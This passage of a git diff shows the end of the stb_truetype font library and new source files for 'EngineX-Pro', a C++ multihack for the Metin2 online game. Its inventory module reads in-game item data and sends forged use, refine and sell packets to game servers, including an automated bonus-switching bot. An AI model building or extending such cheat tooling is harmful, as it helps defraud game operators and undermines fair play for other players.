onedge_value, float pixel_dist_scale, int *width, int *height, int *xoff, int *yoff) +{ + return stbtt_GetGlyphSDF(info, scale, stbtt_FindGlyphIndex(info, codepoint), padding, onedge_value, pixel_dist_scale, width, height, xoff, yoff); +} + +STBTT_DEF void stbtt_FreeSDF(unsigned char *bitmap, void *userdata) +{ + STBTT_free(bitmap, userdata); +} + +////////////////////////////////////////////////////////////////////////////// +// +// font name matching -- recommended not to use this +// + +// check if a utf8 string contains a prefix which is the utf16 string; if so return length of matching utf8 string +static stbtt_int32 stbtt__CompareUTF8toUTF16_bigendian_prefix(stbtt_uint8 *s1, stbtt_int32 len1, stbtt_uint8 *s2, stbtt_int32 len2) +{ + stbtt_int32 i=0; + + // convert utf16 to utf8 and compare the results while converting + while (len2) { + stbtt_uint16 ch = s2[0]*256 + s2[1]; + if (ch < 0x80) { + if (i >= len1) return -1; + if (s1[i++] != ch) return -1; + } else if (ch < 0x800) { + if (i+1 >= len1) return -1; + if (s1[i++] != 0xc0 + (ch >> 6)) return -1; + if (s1[i++] != 0x80 + (ch & 0x3f)) return -1; + } else if (ch >= 0xd800 && ch < 0xdc00) { + stbtt_uint32 c; + stbtt_uint16 ch2 = s2[2]*256 + s2[3]; + if (i+3 >= len1) return -1; + c = ((ch - 0xd800) << 10) + (ch2 - 0xdc00) + 0x10000; + if (s1[i++] != 0xf0 + (c >> 18)) return -1; + if (s1[i++] != 0x80 + ((c >> 12) & 0x3f)) return -1; + if (s1[i++] != 0x80 + ((c >> 6) & 0x3f)) return -1; + if (s1[i++] != 0x80 + ((c ) & 0x3f)) return -1; + s2 += 2; // plus another 2 below + len2 -= 2; + } else if (ch >= 0xdc00 && ch < 0xe000) { + return -1; + } else { + if (i+2 >= len1) return -1; + if (s1[i++] != 0xe0 + (ch >> 12)) return -1; + if (s1[i++] != 0x80 + ((ch >> 6) & 0x3f)) return -1; + if (s1[i++] != 0x80 + ((ch ) & 0x3f)) return -1; + } + s2 += 2; + len2 -= 2; + } + return i; +} + +static int stbtt_CompareUTF8toUTF16_bigendian_internal(char *s1, int len1, char *s2, int len2) +{ + return len1 == stbtt__CompareUTF8toUTF16_bigendian_prefix((stbtt_uint8*) s1, len1, (stbtt_uint8*) s2, len2); +} + +// returns results in whatever encoding you request... but note that 2-byte encodings +// will be BIG-ENDIAN... use stbtt_CompareUTF8toUTF16_bigendian() to compare +STBTT_DEF const char *stbtt_GetFontNameString(const stbtt_fontinfo *font, int *length, int platformID, int encodingID, int languageID, int nameID) +{ + stbtt_int32 i,count,stringOffset; + stbtt_uint8 *fc = font->data; + stbtt_uint32 offset = font->fontstart; + stbtt_uint32 nm = stbtt__find_table(fc, offset, "name"); + if (!nm) return NULL; + + count = ttUSHORT(fc+nm+2); + stringOffset = nm + ttUSHORT(fc+nm+4); + for (i=0; i < count; ++i) { + stbtt_uint32 loc = nm + 6 + 12 * i; + if (platformID == ttUSHORT(fc+loc+0) && encodingID == ttUSHORT(fc+loc+2) + && languageID == ttUSHORT(fc+loc+4) && nameID == ttUSHORT(fc+loc+6)) { + *length = ttUSHORT(fc+loc+8); + return (const char *) (fc+stringOffset+ttUSHORT(fc+loc+10)); + } + } + return NULL; +} + +static int stbtt__matchpair(stbtt_uint8 *fc, stbtt_uint32 nm, stbtt_uint8 *name, stbtt_int32 nlen, stbtt_int32 target_id, stbtt_int32 next_id) +{ + stbtt_int32 i; + stbtt_int32 count = ttUSHORT(fc+nm+2); + stbtt_int32 stringOffset = nm + ttUSHORT(fc+nm+4); + + for (i=0; i < count; ++i) { + stbtt_uint32 loc = nm + 6 + 12 * i; + stbtt_int32 id = ttUSHORT(fc+loc+6); + if (id == target_id) { + // find the encoding + stbtt_int32 platform = ttUSHORT(fc+loc+0), encoding = ttUSHORT(fc+loc+2), language = ttUSHORT(fc+loc+4); + + // is this a Unicode encoding? + if (platform == 0 || (platform == 3 && encoding == 1) || (platform == 3 && encoding == 10)) { + stbtt_int32 slen = ttUSHORT(fc+loc+8); + stbtt_int32 off = ttUSHORT(fc+loc+10); + + // check if there's a prefix match + stbtt_int32 matchlen = stbtt__CompareUTF8toUTF16_bigendian_prefix(name, nlen, fc+stringOffset+off,slen); + if (matchlen >= 0) { + // check for target_id+1 immediately following, with same encoding & language + if (i+1 < count && ttUSHORT(fc+loc+12+6) == next_id && ttUSHORT(fc+loc+12) == platform && ttUSHORT(fc+loc+12+2) == encoding && ttUSHORT(fc+loc+12+4) == language) { + slen = ttUSHORT(fc+loc+12+8); + off = ttUSHORT(fc+loc+12+10); + if (slen == 0) { + if (matchlen == nlen) + return 1; + } else if (matchlen < nlen && name[matchlen] == ' ') { + ++matchlen; + if (stbtt_CompareUTF8toUTF16_bigendian_internal((char*) (name+matchlen), nlen-matchlen, (char*)(fc+stringOffset+off),slen)) + return 1; + } + } else { + // if nothing immediately following + if (matchlen == nlen) + return 1; + } + } + } + + // @TODO handle other encodings + } + } + return 0; +} + +static int stbtt__matches(stbtt_uint8 *fc, stbtt_uint32 offset, stbtt_uint8 *name, stbtt_int32 flags) +{ + stbtt_int32 nlen = (stbtt_int32) STBTT_strlen((char *) name); + stbtt_uint32 nm,hd; + if (!stbtt__isfont(fc+offset)) return 0; + + // check italics/bold/underline flags in macStyle... + if (flags) { + hd = stbtt__find_table(fc, offset, "head"); + if ((ttUSHORT(fc+hd+44) & 7) != (flags & 7)) return 0; + } + + nm = stbtt__find_table(fc, offset, "name"); + if (!nm) return 0; + + if (flags) { + // if we checked the macStyle flags, then just check the family and ignore the subfamily + if (stbtt__matchpair(fc, nm, name, nlen, 16, -1)) return 1; + if (stbtt__matchpair(fc, nm, name, nlen, 1, -1)) return 1; + if (stbtt__matchpair(fc, nm, name, nlen, 3, -1)) return 1; + } else { + if (stbtt__matchpair(fc, nm, name, nlen, 16, 17)) return 1; + if (stbtt__matchpair(fc, nm, name, nlen, 1, 2)) return 1; + if (stbtt__matchpair(fc, nm, name, nlen, 3, -1)) return 1; + } + + return 0; +} + +static int stbtt_FindMatchingFont_internal(unsigned char *font_collection, char *name_utf8, stbtt_int32 flags) +{ + stbtt_int32 i; + for (i=0;;++i) { + stbtt_int32 off = stbtt_GetFontOffsetForIndex(font_collection, i); + if (off < 0) return off; + if (stbtt__matches((stbtt_uint8 *) font_collection, off, (stbtt_uint8*) name_utf8, flags)) + return off; + } +} + +#if defined(__GNUC__) || defined(__clang__) +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wcast-qual" +#endif + +STBTT_DEF int stbtt_BakeFontBitmap(const unsigned char *data, int offset, + float pixel_height, unsigned char *pixels, int pw, int ph, + int first_char, int num_chars, stbtt_bakedchar *chardata) +{ + return stbtt_BakeFontBitmap_internal((unsigned char *) data, offset, pixel_height, pixels, pw, ph, first_char, num_chars, chardata); +} + +STBTT_DEF int stbtt_GetFontOffsetForIndex(const unsigned char *data, int index) +{ + return stbtt_GetFontOffsetForIndex_internal((unsigned char *) data, index); +} + +STBTT_DEF int stbtt_GetNumberOfFonts(const unsigned char *data) +{ + return stbtt_GetNumberOfFonts_internal((unsigned char *) data); +} + +STBTT_DEF int stbtt_InitFont(stbtt_fontinfo *info, const unsigned char *data, int offset) +{ + return stbtt_InitFont_internal(info, (unsigned char *) data, offset); +} + +STBTT_DEF int stbtt_FindMatchingFont(const unsigned char *fontdata, const char *name, int flags) +{ + return stbtt_FindMatchingFont_internal((unsigned char *) fontdata, (char *) name, flags); +} + +STBTT_DEF int stbtt_CompareUTF8toUTF16_bigendian(const char *s1, int len1, const char *s2, int len2) +{ + return stbtt_CompareUTF8toUTF16_bigendian_internal((char *) s1, len1, (char *) s2, len2); +} + +#if defined(__GNUC__) || defined(__clang__) +#pragma GCC diagnostic pop +#endif + +#endif // STB_TRUETYPE_IMPLEMENTATION + + +// FULL VERSION HISTORY +// +// 1.19 (2018-02-11) OpenType GPOS kerning (horizontal only), STBTT_fmod +// 1.18 (2018-01-29) add missing function +// 1.17 (2017-07-23) make more arguments const; doc fix +// 1.16 (2017-07-12) SDF support +// 1.15 (2017-03-03) make more arguments const +// 1.14 (2017-01-16) num-fonts-in-TTC function +// 1.13 (2017-01-02) support OpenType fonts, certain Apple fonts +// 1.12 (2016-10-25) suppress warnings about casting away const with -Wcast-qual +// 1.11 (2016-04-02) fix unused-variable warning +// 1.10 (2016-04-02) allow user-defined fabs() replacement +// fix memory leak if fontsize=0.0 +// fix warning from duplicate typedef +// 1.09 (2016-01-16) warning fix; avoid crash on outofmem; use alloc userdata for PackFontRanges +// 1.08 (2015-09-13) document stbtt_Rasterize(); fixes for vertical & horizontal edges +// 1.07 (2015-08-01) allow PackFontRanges to accept arrays of sparse codepoints; +// allow PackFontRanges to pack and render in separate phases; +// fix stbtt_GetFontOFfsetForIndex (never worked for non-0 input?); +// fixed an assert() bug in the new rasterizer +// replace assert() with STBTT_assert() in new rasterizer +// 1.06 (2015-07-14) performance improvements (~35% faster on x86 and x64 on test machine) +// also more precise AA rasterizer, except if shapes overlap +// remove need for STBTT_sort +// 1.05 (2015-04-15) fix misplaced definitions for STBTT_STATIC +// 1.04 (2015-04-15) typo in example +// 1.03 (2015-04-12) STBTT_STATIC, fix memory leak in new packing, various fixes +// 1.02 (2014-12-10) fix various warnings & compile issues w/ stb_rect_pack, C++ +// 1.01 (2014-12-08) fix subpixel position when oversampling to exactly match +// non-oversampled; STBTT_POINT_SIZE for packed case only +// 1.00 (2014-12-06) add new PackBegin etc. API, w/ support for oversampling +// 0.99 (2014-09-18) fix multiple bugs with subpixel rendering (ryg) +// 0.9 (2014-08-07) support certain mac/iOS fonts without an MS platformID +// 0.8b (2014-07-07) fix a warning +// 0.8 (2014-05-25) fix a few more warnings +// 0.7 (2013-09-25) bugfix: subpixel glyph bug fixed in 0.5 had come back +// 0.6c (2012-07-24) improve documentation +// 0.6b (2012-07-20) fix a few more warnings +// 0.6 (2012-07-17) fix warnings; added stbtt_ScaleForMappingEmToPixels, +// stbtt_GetFontBoundingBox, stbtt_IsGlyphEmpty +// 0.5 (2011-12-09) bugfixes: +// subpixel glyph renderer computed wrong bounding box +// first vertex of shape can be off-curve (FreeSans) +// 0.4b (2011-12-03) fixed an error in the font baking example +// 0.4 (2011-12-01) kerning, subpixel rendering (tor) +// bugfixes for: +// codepoint-to-glyph conversion using table fmt=12 +// codepoint-to-glyph conversion using table fmt=4 +// stbtt_GetBakedQuad with non-square texture (Zer) +// updated Hello World! sample to use kerning and subpixel +// fixed some warnings +// 0.3 (2009-06-24) cmap fmt=12, compound shapes (MM) +// userdata, malloc-from-userdata, non-zero fill (stb) +// 0.2 (2009-03-11) Fix unsigned/signed char warnings +// 0.1 (2009-03-09) First public release +// + +/* +------------------------------------------------------------------------------ +This software is available under 2 licenses -- choose whichever you prefer. +------------------------------------------------------------------------------ +ALTERNATIVE A - MIT License +Copyright (c) 2017 Sean Barrett +Permission is hereby granted, free of charge, to any person obtaining a copy of +this software and associated documentation files (the "Software"), to deal in +the Software without restriction, including without limitation the rights to +use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies +of the Software, and to permit persons to whom the Software is furnished to do +so, subject to the following conditions: +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +------------------------------------------------------------------------------ +ALTERNATIVE B - Public Domain (www.unlicense.org) +This is free and unencumbered software released into the public domain. +Anyone is free to copy, modify, publish, use, compile, sell, or distribute this +software, either in source code form or as a compiled binary, for any purpose, +commercial or non-commercial, and by any means. +In jurisdictions that recognize copyright laws, the author or authors of this +software dedicate any and all copyright interest in the software to the public +domain. We make this dedication for the benefit of the public at large and to +the detriment of our heirs and successors. We intend this dedication to be an +overt act of relinquishment in perpetuity of all present and future rights to +this software under copyright law. +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN +ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +------------------------------------------------------------------------------ +*/ diff --git a/EngineX-Pro/ImGuiExtension.h b/EngineX-Pro/ImGuiExtension.h new file mode 100644 index 0000000..6f70f09 --- /dev/null +++ b/EngineX-Pro/ImGuiExtension.h @@ -0,0 +1 @@ +#pragma once diff --git a/EngineX-Pro/Inventory.h b/EngineX-Pro/Inventory.h new file mode 100644 index 0000000..41a8a83 --- /dev/null +++ b/EngineX-Pro/Inventory.h @@ -0,0 +1,532 @@ +#pragma once +class Inventory :public IAbstractModuleBase, public Singleton +{ +private: +public: + void OnStart() + { + + } + + void OnStop() + { + } + + map attributesMap = + { + { 0, "None"}, + { 1, "Max. HP +%d"}, + { 2, "Max. SP +%d"}, + { 3, "Vitality +%d"}, + { 4, "Intelligence +%d"}, + { 5, "Strength +%d"}, + { 6, "Dexterity +%d"}, + { 9, "Casting Speed +%d%%"}, + { 10, "HP Regeneration +%d%%"}, + { 12, "Poisoning chance %d%%"}, + { 13, "Blackout chance %d%%"}, + { 14, "Slowing chance %d%%"}, + { 15, "Chance of critical hit +%d%%"}, + { 16, "%d%% Chance for piercing Hits"}, + { 17, "Strong against Half Humans +%d%%"}, + { 18, "Strong against Animals +%d%%"}, + { 19, "Strong against Orcs +%d%%"}, + { 20, "Strong against Mystics +%d%%"}, + { 21, "Strong against Undead +%d%%"}, + { 22, "Strong against Devils +%d%%"}, + { 23, "%d%% damage will be absorbed by HP"}, + { 27, "Chance to block a close-combat attack %d%%"}, + { 28, "Chance to avoid Arrows %d%%"}, + { 29, "Sword Defence %d%%"}, + { 30, "Two-Handed Defence %d%%"}, + { 31, "Dagger Defence %d%%"}, + { 32, "Bell Defence %d%%"}, + { 33, "Fan Defence %d%%"}, + { 34, "Arrow Defence %d%%"}, + { 35, "Fire Resistance %d%%"}, + { 36, "Lightning Resistance %d%%"}, + { 37, "Magic Resistance %d%%"}, + { 38, "Wind Resistance %d%%"}, + { 39, "%d%% Chance to reflect close combat hits"}, + { 41, "Poison Resistance %d%%"}, + { 43, "%d%% Chance for EXP Bonus"}, + { 44, "%d%% Chance to drop double Yang"}, + { 45, "%d%% Chance to drop double the Items"}, + { 48, "Defence against blackouts"}, + { 49, "Defence against slowing"}, + { 53, "Attack Value +%d"}, + { 71, "Skill Damage %d%%"}, + { 72, "Average Damage %d%%"}, + }; + + int Page = 1; + vector selectedSlots = { }; + bool PlayerIsInstance = false; + int PackCount = 1; + int SplitCount = 1; + + ImVec4 titleColor = ImVec4(0.9490f, 0.9058f, 0.7568f, 1.0f); + ImVec4 socketColor = ImVec4(0.5411f, 0.7254f, 0.5568f, 1.0f); + ImVec4 bonusColor = ImVec4(0.6911f, 0.8754f, 0.7068f, 1.0f); + ImVec4 inactiveSwitcher = ImVec4(1.0f, 0.0f, 0.0f, 0.2f); + ImVec4 finishedSwitcher = ImVec4(0.0f, 1.0f, 0.0f, 0.2f); + + int bonusSwitcherSpeed = 10; + int bonusSlot[6] = { 0 }; + bool bonusSlotRunning[6] = { 0 }; + + int bonusSlotPacketCount[6] = { 0 }; + int bonusSlotChanged[6] = { 0 }; + + map < DWORD, int> lastLastItemAttributes[6]; + + int bonusIndexType[6][5]; + int bonusIndexLastType[6][5]; + int bonusIndexValue[6][5]; + int bonusIndexLastValue[6][5]; + + template + bool map_compare(Map const& lhs, Map const& rhs) { + return lhs.size() == rhs.size() + && std::equal(lhs.begin(), lhs.end(), + rhs.begin()); + } + + bool Match(map < DWORD, int> bsItemAttributes, map < DWORD, int> currentItemAttributes) + { + for (map < DWORD, int>::iterator itor = bsItemAttributes.begin(); itor != bsItemAttributes.end(); itor++) + { + bool itemHaveOne = false; + for (map < DWORD, int>::iterator itorSecound = currentItemAttributes.begin(); itorSecound != currentItemAttributes.end(); itorSecound++) + { + if (itorSecound->first == itor->first && itorSecound->second >= itor->second) + { + itemHaveOne = true; + } + } + if (!itemHaveOne) + { + return false; + } + } + return true; + } + + int GetBonusTypeFromMap(int index) + { + int i = 0; + for (auto it : attributesMap) + { + if (i == index) + { + return it.first; + } + i++; + } + } + + void OnUpdate() + { + PlayerIsInstance = GameFunctionsCustom::PlayerIsInstance(); + if (!PlayerIsInstance) + { + return; + } + if (DynamicTimer::CheckAutoSet("BonusSwitcher", bonusSwitcherSpeed)) + { + for (int i = 0; i < 6; i++) + { + if (bonusSlot[i] != 0 && bonusSlotRunning[i]) + { + bool mixItem = false; + map < DWORD, int> lastItemAttributes; + map < DWORD, int> slotItemAttributes; + map < DWORD, int> currentItemAttributes; + for (int bonus = 0; bonus < 5; bonus++) + { + BYTE bType; + short bValue; + GameFunctions::PlayerGetItemAttribute(TItemPos(INVENTORY, bonusSlot[i]), bonus, &bType, &bValue); + if (GetBonusTypeFromMap(bonusIndexType[i][bonus]) != 0) + { + slotItemAttributes.insert(make_pair((DWORD)GetBonusTypeFromMap(bonusIndexType[i][bonus]), (int)bonusIndexValue[i][bonus])); + } + if (currentItemAttributes.size() <= 5) + { + if (!currentItemAttributes.count(bType)) + { + if (bType != 0) + { + currentItemAttributes.insert(make_pair((DWORD)bType, (int)bValue)); + } + } + } + if (lastItemAttributes.size() <= 5) + { + if (!lastItemAttributes.count(bType)) + { + if (bonusIndexLastType[i][bonus] != 0) + { + lastItemAttributes.insert(make_pair((DWORD)bonusIndexLastType[i][bonus], (int)bonusIndexLastValue[i][bonus])); + } + } + } + bonusIndexLastType[i][bonus] = bType; + bonusIndexLastValue[i][bonus] = bValue; + } + if (!Match(slotItemAttributes, currentItemAttributes)) + { + if (!map_compare(currentItemAttributes, lastItemAttributes)) + { + if (!map_compare(lastLastItemAttributes[i], lastItemAttributes)) + { + bonusSlotChanged[i]++; + } + lastLastItemAttributes[i] = lastItemAttributes; + } + if (bonusSlotChanged[i] == bonusSlotPacketCount[i]) + { + vector slots = GameFunctionsCustom::FindItemSlotsInInventory(71084); + GameFunctions::NetworkStreamSendItemUseToItemPacket(TItemPos(INVENTORY, slots[0]), TItemPos(INVENTORY, bonusSlot[i])); + bonusSlotPacketCount[i]++; + } + } + else + { + string title = "Bonus switcher slot "; + title += to_string(bonusSlot[i] + 1); + title += " completed after "; + title += to_string(bonusSlotPacketCount[i]); + title += " changes!"; + MiscExtension::UpdateBalloon(Globals::mainHwnd, XOR("C4US.PL - MultiHack"), title.c_str(), NULL); + for (int bonus = 0; bonus < 5; bonus++) + { + bonusIndexLastType[i][bonus] = 0; + bonusIndexLastValue[i][bonus] = 0; + } + bonusSlotPacketCount[i] = 0; + bonusSlotChanged[i] = 0; + bonusSlotRunning[i] = false; + lastLastItemAttributes[i].clear(); + } + } + } + } + } + + void OnRender() + { + } + + string GetItemIconPath(int vnum) + { + DWORD* pItemData; + GameFunctions::ItemManagerGetItemDataPointer(vnum, &pItemData); + std::string iconPath = ""; + switch (Globals::Server) + { + case ServerName::METINPL: + iconPath = GetStr((DWORD)pItemData + 92); + break; + case ServerName::AELDRA: + iconPath = GetStr((DWORD)pItemData + 80); + break; + case ServerName::KEVRA: + iconPath = GetStr((DWORD)pItemData + 100); + break; + default: + iconPath = GetStr((DWORD)pItemData + 76); + break; + } + return iconPath; + } + + void OnTabbarRefine() + { + ImGui::PushItemWidth(100); ImGui::SliderInt("Count", &Settings::REFINE_UPGRADE_COUNT, 1, 9); ImGui::SameLine(); + if (ImGui::Button("Upgrade")) + { + for (int i = 0; i < Settings::REFINE_UPGRADE_COUNT; i++) + { + for (auto slot : selectedSlots) + { + GameFunctions::NetworkStreamSendRefinePacket(slot, Settings::REFINE_UPGRADE_TYPE); + } + } + } + } + + void OnTabbarActions() + { + if (ImGui::Button("Split")) + { + int i = 0; + for (auto slot : selectedSlots) + { + DelayActions::Append(150 * i, &GameFunctionsCustom::ItemSplitter, slot, PackCount, SplitCount); + i++; + } + } ImGui::SameLine(); + ImGui::InputInt("Pack##split", &PackCount, 0, 0); ImGui::SameLine(); + ImGui::InputInt("Count##split", &SplitCount, 0, 0); + if (ImGui::Button("Sell")) + { + for (auto slot : selectedSlots) + { + GameFunctions::NetworkStreamSendShopSellPacketNew(slot, GameFunctions::PlayerGetItemCount(TItemPos(INVENTORY, slot))); + } + } + } + + string IDName(const char* btn, int id) + { + return btn + (string)"##" + to_string(id); + } + + void OnTabbarBS() + { + ImGui::SliderInt("Switchbot Speed", &bonusSwitcherSpeed, 0, 100); + ImGui::BeginTable("##tablebs", 3, ImGuiTableFlags_Borders, ImVec2(0.0f, 0.0f)); + float width = 85.0f; + float height = 105.0f; + ImGui::TableSetupColumn("", ImGuiTableColumnFlags_WidthFixed, width); + ImGui::TableSetupColumn("", ImGuiTableColumnFlags_WidthFixed, width); + ImGui::TableSetupColumn("", ImGuiTableColumnFlags_WidthFixed, width); + int index = 0; + for (int row = 0; row < 2; row++) + { + ImGui::TableNextRow(ImGuiTableRowFlags_None, height); + for (int column = 0; column < 3; column++) + { + ImGui::TableSetColumnIndex(column); + if (selectedSlots.size() == 1 && bonusSlot[index] == 0) + { + if (ImGui::Button(IDName(ICON_FA_PLUS, index).c_str())) + { + ImGui::OpenPopup(IDName("Bonus Switcher", index).c_str()); + } + if (ImGui::BeginPopupModal(IDName("Bonus Switcher", index).c_str(), NULL, ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoMove)) + { + int currentVnum = GameFunctions::PlayerGetItemIndex(TItemPos(INVENTORY, selectedSlots[0])); + DirectTexture D3DTexture = GameFunctionsCustom::GetD3DTexture(GetItemIconPath(currentVnum).c_str()); + ImGui::ImageAuto(D3DTexture, 1.0f, 1.0f, true); + const char* itemName = GameFunctions::ItemDataGetName(currentVnum); + ImVec2 label_size = ImGui::CalcTextSize(itemName, NULL, true); + ImGui::CenterHorizontal(label_size); + ImGui::TextColored(titleColor, StringExtension::ASCIIToUTF8(itemName).c_str()); + for (int i = 0; i < 5; i++) + { + ImGui::Combo(("Bonus " + to_string(i + 1)).c_str(), &bonusIndexType[index][i], attributesMap); + ImGui::InputInt(("##Bonus " + to_string(i + 1)).c_str(), &bonusIndexValue[index][i]); + } + if (ImGui::Button("Add", ImVec2(120.0f, 0.0f))) + { + bonusSlot[index] = selectedSlots[0]; + ImGui::CloseCurrentPopup(); + } + ImGui::SameLine(); + if (ImGui::Button("Close", ImVec2(120.0f, 0.0f))) + { + ImGui::CloseCurrentPopup(); + } + ImGui::EndPopup(); + } + } + if (bonusSlot[index] == 0) + { + index++; + continue; + } + int currentVnum = GameFunctions::PlayerGetItemIndex(TItemPos(INVENTORY, bonusSlot[index])); + if (currentVnum > 0) + { + ImGui::BeginTable("##tableitembs", 2, ImGuiTableFlags_None, ImVec2(0.0f, 0.0f)); + ImGui::TableSetupColumn("", ImGuiTableColumnFlags_WidthFixed, 32.0f); + ImGui::TableSetupColumn("", ImGuiTableColumnFlags_WidthFixed, 36.0f); + ImGui::TableNextRow(ImGuiTableRowFlags_None, 100.0f); + ImGui::TableSetColumnIndex(0); + DirectTexture D3DTexture = GameFunctionsCustom::GetD3DTexture(GetItemIconPath(currentVnum).c_str()); + ImGui::ImageSwitcher(D3DTexture, bonusSlotRunning[index] ? inactiveSwitcher : finishedSwitcher); + ImGui::TableSetColumnIndex(1); + ImGui::Text("Slot %d", bonusSlot[index] + 1); + if(ImGui::Button(IDName(ICON_FA_PLAY, index).c_str(), ImVec2(20.0f, 20.0f))) + { + bonusSlotRunning[index] = true; + } ImGui::SameLine(); + if (ImGui::Button(IDName(ICON_FA_PAUSE, index).c_str(), ImVec2(20.0f, 20.0f))) + { + bonusSlotRunning[index] = false; + } + if (ImGui::Button(IDName(ICON_FA_EDIT, index).c_str(), ImVec2(20.0f, 20.0f))) + { + ImGui::OpenPopup(IDName("Bonus Switcher", index).c_str()); + } ImGui::SameLine(); + if (ImGui::Button(IDName(ICON_FA_TRASH, index).c_str(), ImVec2(20.0f, 20.0f))) + { + bonusSlot[index] = 0; + for (int bonus = 0; bonus < 5; bonus++) + { + bonusIndexLastType[index][bonus] = 0; + bonusIndexLastValue[index][bonus] = 0; + } + bonusSlotPacketCount[index] = 0; + bonusSlotChanged[index] = 0; + bonusSlotRunning[index] = false; + lastLastItemAttributes[index].clear(); + } + if (ImGui::BeginPopupModal(IDName("Bonus Switcher", index).c_str(), NULL, ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoMove)) + { + int currentVnum = GameFunctions::PlayerGetItemIndex(TItemPos(INVENTORY, bonusSlot[index])); + DirectTexture D3DTexture = GameFunctionsCustom::GetD3DTexture(GetItemIconPath(currentVnum).c_str()); + ImGui::ImageAuto(D3DTexture, 1.0f, 1.0f, true); + const char* itemName = GameFunctions::ItemDataGetName(currentVnum); + ImVec2 label_size = ImGui::CalcTextSize(itemName, NULL, true); + ImGui::CenterHorizontal(label_size); + ImGui::TextColored(titleColor, StringExtension::ASCIIToUTF8(itemName).c_str()); + for (int i = 0; i < 5; i++) + { + ImGui::Combo(("Bonus " + to_string(i + 1)).c_str(), &bonusIndexType[index][i], attributesMap); + ImGui::InputInt(("##Bonus " + to_string(i + 1)).c_str(), &bonusIndexValue[index][i]); + } + if (ImGui::Button("Close", ImVec2(240.0f, 0.0f))) + { + ImGui::CloseCurrentPopup(); + } + ImGui::EndPopup(); + } + ImGui::EndTable(); + index++; + } + } + } + ImGui::EndTable(); + } + + void OnTab1() + { + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("RefineBorder", ImVec2(ImGui::GetWindowWidth() - 10, ImGui::GetWindowHeight() - 10), true); + ImGui::BeginTable("##table1", 2); + ImGui::TableSetupColumn("", ImGuiTableColumnFlags_WidthFixed, 205.0f); + ImGui::TableNextRow(); + ImGui::TableSetColumnIndex(0); + if (PlayerIsInstance) + { + int Multipler = (Page - 1) * 45; + int i = 0; + static ImGuiTableFlags flags = ImGuiTableFlags_Borders;//ImGuiTableFlags_RowBg + ImGui::BeginTable("##tableinventory", 5, flags, ImVec2(0.0f, 0.0f)); + float width = 32.0f; + float height = 33.0f; + ImGui::TableSetupColumn("", ImGuiTableColumnFlags_WidthFixed, width); + ImGui::TableSetupColumn("", ImGuiTableColumnFlags_WidthFixed, width); + ImGui::TableSetupColumn("", ImGuiTableColumnFlags_WidthFixed, width); + ImGui::TableSetupColumn("", ImGuiTableColumnFlags_WidthFixed, width); + ImGui::TableSetupColumn("", ImGuiTableColumnFlags_WidthFixed, width); + for (int row = 0; row < 9; row++) + { + ImGui::TableNextRow(ImGuiTableRowFlags_None, height); + for (int column = 0; column < 5; column++) + { + ImGui::TableSetColumnIndex(column); + int currentSlot = i + Multipler; + int currentVnum = GameFunctions::PlayerGetItemIndex(TItemPos(INVENTORY, currentSlot)); + if (currentVnum > 0) + { + + DirectTexture D3DTexture = GameFunctionsCustom::GetD3DTexture(GetItemIconPath(currentVnum).c_str()); + D3DSURFACE_DESC desc; + D3DTexture->GetLevelDesc(0, &desc); + std::string itemid = "##" + std::to_string(currentSlot); + bool isSelected = std::find(selectedSlots.begin(), selectedSlots.end(), currentSlot) != selectedSlots.end(); + if (ImGui::ItemImage(itemid, D3DTexture, GameFunctions::PlayerGetItemCount(TItemPos(INVENTORY, currentSlot)), ImVec2(desc.Width, desc.Height), isSelected)) + { + if (isSelected) + { + selectedSlots.erase(std::find(selectedSlots.begin(), selectedSlots.end(), currentSlot)); + } + else + { + selectedSlots.push_back(currentSlot); + } + } + if (ImGui::IsItemHovered()) { + ImGui::BeginTooltip(); + std::string name = GameFunctions::ItemDataGetName(currentVnum); + ImGui::TextColored(titleColor, StringExtension::ASCIIToUTF8(name.c_str()).c_str()); + if (Globals::Server != ServerName::METINPL) + { + for (int bonus = 0; bonus < 5; bonus++) + { + BYTE bType; + short bValue; + GameFunctions::PlayerGetItemAttribute(TItemPos(INVENTORY, currentSlot), bonus, &bType, &bValue); + if (bType != 0) + { + ImGui::TextColored(bonusColor, attributesMap[bType].c_str(), bValue); + } + } + } + ImGui::EndTooltip(); + } + } + else + { + bool isSelected = std::find(selectedSlots.begin(), selectedSlots.end(), currentSlot) != selectedSlots.end(); + if (isSelected) + { + selectedSlots.erase(std::find(selectedSlots.begin(), selectedSlots.end(), currentSlot)); + } + } + i++; + } + } + ImGui::EndTable(); + } + ImGui::TableSetColumnIndex(1); + ImGui::PushItemWidth(70); ImGui::SliderInt("Page", &Page, 1, Settings::INVENTORY_PAGE_COUNT); ImGui::SameLine(); + if (ImGui::Button("Uncheck All")) + { + selectedSlots.clear(); + } + ImGui::BeginTabBar("#Inventory Manager"); + if (ImGui::BeginTabItem("Refine")) + { + OnTabbarRefine(); + ImGui::EndTabItem(); + } + if (ImGui::BeginTabItem("Actions")) + { + OnTabbarActions(); + ImGui::EndTabItem(); + } + if (Globals::Server != ServerName::METINPL) + { + if (ImGui::BeginTabItem("Bonus Switcher")) + { + 